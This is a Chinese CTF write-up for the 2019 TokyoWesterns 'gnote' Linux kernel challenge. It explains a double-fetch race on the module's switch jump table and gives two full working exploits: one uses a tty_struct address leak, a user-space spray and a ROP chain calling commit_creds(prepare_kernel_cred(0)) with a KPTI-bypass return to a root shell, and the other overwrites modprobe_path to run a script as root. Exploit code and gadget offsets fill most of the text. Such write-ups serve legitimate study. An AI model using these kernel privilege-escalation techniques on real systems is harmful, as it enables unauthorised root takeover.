0019-TIPS-2019-tokyowesterns-gnote : switch(jump-table) && Doubule Fetch

漏洞源码

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define MAX_NOTE 8

static DEFINE_MUTEX(lock);

struct note {
  unsigned long size;
  char *contents;
};

unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];


ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

struct file_operations gnote_proc = {
  .write    = gnote_write,
  .read    = gnote_read,
};

static int __init gnote_init(void)
{
  cnt=0;
  selected=-1;
  proc_create_data("gnote", 0666, NULL, &gnote_proc, NULL);
  printk("/proc/gnote created\n");
  return 0;
}
 
static void __exit
gnote_exit(void)
{
  remove_proc_entry("gnote", NULL);
  printk("unloading gnote\n");
}
 
module_init(gnote_init);
module_exit(gnote_exit);

漏洞分析

没有开启smap保护

首先看启动脚本和/proc/cpuinfo,没有看起smap保护

#!/bin/sh
cd /home/gnote
stty intr ^]
exec \
	timeout 120 \
	qemu-system-x86_64 \
	-m 64M \
	-kernel bzImage \
	-initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
	-nographic \
	-net user -net nic \
	-device e1000 -smp cores=2,threads=2 \
	-cpu kvm64,+smep \
	-monitor /dev/null 2>/dev/null
/ $ cat /proc/cpuinfo  | grep "smep"
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
/ $ cat /proc/cpuinfo  | grep "smap"
/ $

漏洞分析

先看gnote_write的源码

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
	[...]
	switch(*(unsigned int *)buf){
	[...]
	notes[cnt].size = *((unsigned int *)buf+1);
	[...]
	index = *((unsigned int *)buf+1);
}

在调用gnote_write时,buf指针指向的结构体类似于

struct write_struct{
	unsigned int sele_func;
	unsigned int num;
}

0019-TIPS-2019-tokyowesterns-gnote : switch(jump-table) && Doubule Fetch_第1张图片

再看gnote_write的switch跳转表(首先需要知道syscall时,参数1~参数6是保存在 rdi,rsi,rdx,r10,r8,r9),rsi保存的是buf的地址

.text:0000000000000000                 public gnote_write
.text:0000000000000000 gnote_write     proc near               ; DATA XREF: .data:00000000000002D8↓o
.text:0000000000000000                 push    rbp
.text:0000000000000001                 mov     rdi, offset lock
.text:0000000000000008                 mov     rbp, rsp
.text:000000000000000B                 push    r12
.text:000000000000000D                 push    rbx
.text:000000000000000E                 mov     rbx, rsi				<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:0000000000000011                 mov     r12, rdx
.text:0000000000000014                 call    mutex_lock
.text:0000000000000019                 cmp     dword ptr [rbx], 5	<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]			<<<<<<<<<<<<<<<<<<<<<<<<<<< 获取switch跳转索引
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]<<<<<<<<<<<<<<<<<<<<<<<<<<< 跳转表中case代码块地址
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

.rodata:0000000000000220 off_220         dq offset loc_6E        ; DATA XREF: gnote_write+20↑r
.rodata:0000000000000228                 dq offset loc_2D
.rodata:0000000000000230                 dq offset sub_A5
.rodata:0000000000000238                 dq offset sub_97
.rodata:0000000000000240                 dq offset sub_B3
.rodata:0000000000000248                 dq offset sub_82
.rodata:0000000000000248 _rodata         ends

0019-TIPS-2019-tokyowesterns-gnote : switch(jump-table) && Doubule Fetch_第2张图片

简化为

[0] .text:000000000000000E                 mov     rbx, rsi				  <<<<<<<<<<<<
[1] .text:0000000000000019                 cmp     dword ptr [rbx], 5	  <<<<<<<<<<<< 
    .text:000000000000001C                 ja      short loc_6E
[2] .text:000000000000001E                 mov     eax, [rbx]			  <<<<<<<<<<<< 获取switch跳转索引
[3] .text:0000000000000020                 mov     rax, ds:off_220[rax*8] <<<<<<<<<<<< 跳转表中case代码块地址
[4] .text:0000000000000028                 jmp     __x86_indirect_thunk_rax

rsi为用户空间的地址buf,将用户空间buf的地址赋值给rbx
[1] 从用户空间获取内容sele_func,与5进行比较,检查sele_func的大小
[2] 再次从用户空间获取sele_func
[3] 从第二次获取的sele_func,获取跳转表中的地址

问题在于[1]、[2]都是从用户空间获取sele_func,这里有个问题,在[1]验证通过,在[2]执行之前,修改用户空间的sele_func,就有可能出现这样的问题
由于没有smap保护,再通过竞争sele_func,使得sele_func足够大,使得跳转表溢出到用户空间
0019-TIPS-2019-tokyowesterns-gnote : switch(jump-table) && Doubule Fetch_第3张图片

漏洞利用

exp_kpti

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

struct data {
    unsigned int menu;
    unsigned int arg;
};

int istriggered =0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+] Status has been saved!");
}

void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");   // 0xffffffffa0000000
    }
}

void shell()
{
    istriggered =1;
    system("/bin/sh");
}

void add_note(int fd, unsigned int size)
{
    struct data d;
    d.menu=1;
    d.arg=size;
    write(fd, (char *)&d, sizeof(struct data));
}

void select_note(int fd, unsigned int idx)
{
    struct data d;
    d.menu=5;
    d.arg = idx;
    write(fd, (char *)&d, sizeof(struct data));
}


int main()
{
    char buf[0x8000];
    struct data race_arg;
    pthread_t pthread;
    save_status();
    int fd;
    // Step 1 : leak kernel address
    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    int fds[50];
    for (int i=0;i<50; i++)
        fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);

    for (int i=0;i<50; i++)
        close(fds[i]);

    add_note(fd,0x2e0);   // tty_struct结构大小0x2e0
    select_note(fd,0);
    read(fd, buf, 512);
    //for (int i=0; i< 20; i++)
    //    printf("%p\n", *(size_t *)(buf+i*8));
    unsigned long leak, kernel_base;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);

    unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
    unsigned long commit_creds        = kernel_base + 0x69df0;
    unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
    unsigned long fake_cr4            = 0x407f0;
    unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;
    unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;
    unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; 
    unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; 
    unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; 
    unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; 
    unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
    unsigned long kpti_ret            = kernel_base + 0x600a4a;

    // Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;
    // Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    int i=0;
               // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = 0;
    rop_base[i++] = prepare_kernel_cred;
    rop_base[i++] = pop_rsi_ret;          //    ja大于则跳转,-1是最大的数
    rop_base[i++] = -1;
    rop_base[i++] = mov_rdi_rax_p_ret;
    rop_base[i++] = 0;
    rop_base[i++] = commit_creds;
               // bypass kpti
    rop_base[i++] = kpti_ret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = &shell;
    rop_base[i++] = user_cs;
    rop_base[i++] = user_rflags;
    rop_base[i++] = user_sp;
    rop_base[i++] = user_ss;

    // Step 4 : 开始竞争
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    
    pthread_join(pthread, NULL);
    return 0;
}


/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred

2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 


3.下断点
.text:0000000000000019                 cmp     dword ptr [rbx], 5
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

cat /sys/module/gnote/sections/.text

4.kpti_ret
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode

/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernel

gef➤  x /50i 0xffffffffbde00a34
   0xffffffffbde00a34:  pop    r15
   0xffffffffbde00a36:  pop    r14
   0xffffffffbde00a38:  pop    r13
   0xffffffffbde00a3a:  pop    r12
   0xffffffffbde00a3c:  pop    rbp
   0xffffffffbde00a3d:  pop    rbx
   0xffffffffbde00a3e:  pop    r11
   0xffffffffbde00a40:  pop    r10
   0xffffffffbde00a42:  pop    r9
   0xffffffffbde00a44:  pop    r8
   0xffffffffbde00a46:  pop    rax
   0xffffffffbde00a47:  pop    rcx
   0xffffffffbde00a48:  pop    rdx
   0xffffffffbde00a49:  pop    rsi
   0xffffffffbde00a4a:  mov    rdi,rsp                 <<<<<<<<<<<<<<<<<<<<<<
   0xffffffffbde00a4d:  mov    rsp,QWORD PTR gs:0x5004
   0xffffffffbde00a56:  push   QWORD PTR [rdi+0x30]
   0xffffffffbde00a59:  push   QWORD PTR [rdi+0x28]
   0xffffffffbde00a5c:  push   QWORD PTR [rdi+0x20]
   0xffffffffbde00a5f:  push   QWORD PTR [rdi+0x18]
   0xffffffffbde00a62:  push   QWORD PTR [rdi+0x10]
   0xffffffffbde00a65:  push   QWORD PTR [rdi]
   0xffffffffbde00a67:  push   rax
   0xffffffffbde00a68:  xchg   ax,ax
   0xffffffffbde00a6a:  mov    rdi,cr3
   0xffffffffbde00a6d:  jmp    0xffffffffbde00aa3
   0xffffffffbde00a6f:  mov    rax,rdi
   0xffffffffbde00a72:  and    rdi,0x7ff
   0xffffffffbde00a79:  bt     QWORD PTR gs:0x1d996,rdi
   0xffffffffbde00a83:  jae    0xffffffffbde00a94
   0xffffffffbde00a85:  btr    QWORD PTR gs:0x1d996,rdi
   0xffffffffbde00a8f:  mov    rdi,rax
   0xffffffffbde00a92:  jmp    0xffffffffbde00a9c
   0xffffffffbde00a94:  mov    rdi,rax
   0xffffffffbde00a97:  bts    rdi,0x3f
   0xffffffffbde00a9c:  or     rdi,0x800
   0xffffffffbde00aa3:  or     rdi,0x1000
   0xffffffffbde00aaa:  mov    cr3,rdi
   0xffffffffbde00aad:  pop    rax
   0xffffffffbde00aae:  pop    rdi
   0xffffffffbde00aaf:  swapgs 
   0xffffffffbde00ab2:  nop    DWORD PTR [rax]
   0xffffffffbde00ab5:  jmp    0xffffffffbde00ae0
   0xffffffffbde00aba:  nop

*/

exp_modpath

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

struct data {
    unsigned int menu;
    unsigned int arg;
};

int istriggered =0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+] Status has been saved!");
}
void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}
void something(){
    puts("[+] Congratulations! You get it!");
    system("/tmp/fake");
    system("cat /flag");
    exit(0);
}
void gen_test(){
    //system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chmod");
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
    system("chmod +x /tmp/chmod.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
}
void add_note(int fd, unsigned int size)
{
    struct data d;
    d.menu=1;
    d.arg=size;
    write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{
    struct data d;
    d.menu=5;
    d.arg = idx;
    write(fd, (char *)&d, sizeof(struct data));
}

int main()
{
    char buf[0x8000];
    struct data race_arg;
    pthread_t pthread;
    save_status();
    int fd;
    // Step 1 : leak kernel address
    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    int fds[50];
    for (int i=0;i<50; i++)
        fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    for (int i=0;i<50; i++)
        close(fds[i]);
    add_note(fd,0x2e0);   // tty_struct结构大小0x2e0
    select_note(fd,0);
    read(fd, buf, 512);
    //for (int i=0; i< 20; i++)
    //    printf("%p\n", *(size_t *)(buf+i*8));
    unsigned long leak, kernel_base;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);
    unsigned tty_base = (*(size_t *)(buf+7*8)) & 0xffffffffffffff00;

    unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
    unsigned long commit_creds        = kernel_base + 0x69df0;
    unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
    unsigned long fake_cr4            = 0x407f0;
    unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;
    unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;
    unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; 
    unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; 
    unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; 
    unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; 
    unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
    unsigned long kpti_ret            = kernel_base + 0x600a4a;
    unsigned long modprobe_path       = kernel_base + 0xC2C540;
    unsigned long memcpy_addr         = kernel_base + 0x58a100;

    // Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;
    // Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    memcpy(mmap_base+0x1000, "/tmp/chmod.sh\0\n", 15);
    int i=0;
               // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = modprobe_path;
    rop_base[i++] = pop_rsi_ret;
    rop_base[i++] = mmap_base+0x1000;          //    ja大于则跳转,-1是最大的数
    rop_base[i++] = pop_rdx_ret;
    rop_base[i++] = 0x10;
    rop_base[i++] = memcpy_addr;
               // bypass kpti
    //rop_base[i++] = swapgs_p_ret;
    //rop_base[i++] = tty_base ;
    //rop_base[i++] = iretq_p_ret;
    rop_base[i++] = kpti_ret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = & something;
    rop_base[i++] = user_cs;
    rop_base[i++] = user_rflags;
    rop_base[i++] = user_sp;
    rop_base[i++] = user_ss;

    // Step 4 : 开始竞争
    gen_test();             // 生成/tmp/fake 和 /tmp/chmod 文件
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    pthread_join(pthread, NULL);
    getchar();
    return 0;
}


/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred

2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 

ffffffffb758a100 W memcpy

modprobe_path = 0xffffffffb7c2bf60  -  0xffffffffb7000000
gef➤  x /10i 0xffffffffb706a7b0
   0xffffffffb706a7b0:  push   rbp
   0xffffffffb706a7b1:  mov    rdi,0xffffffffb7c2bf60
   0xffffffffb706a7b8:  mov    rbp,rsp
   0xffffffffb706a7bb:  push   rbx
   0xffffffffb706a7bc:  movzx  ebx,BYTE PTR [rip+0xd1ff1d]        # 0xffffffffb7d8a6e0
   0xffffffffb706a7c3:  call   0xffffffffb706a350

*/

你可能感兴趣的:(pwn_cve_kernel,kernel,pwn)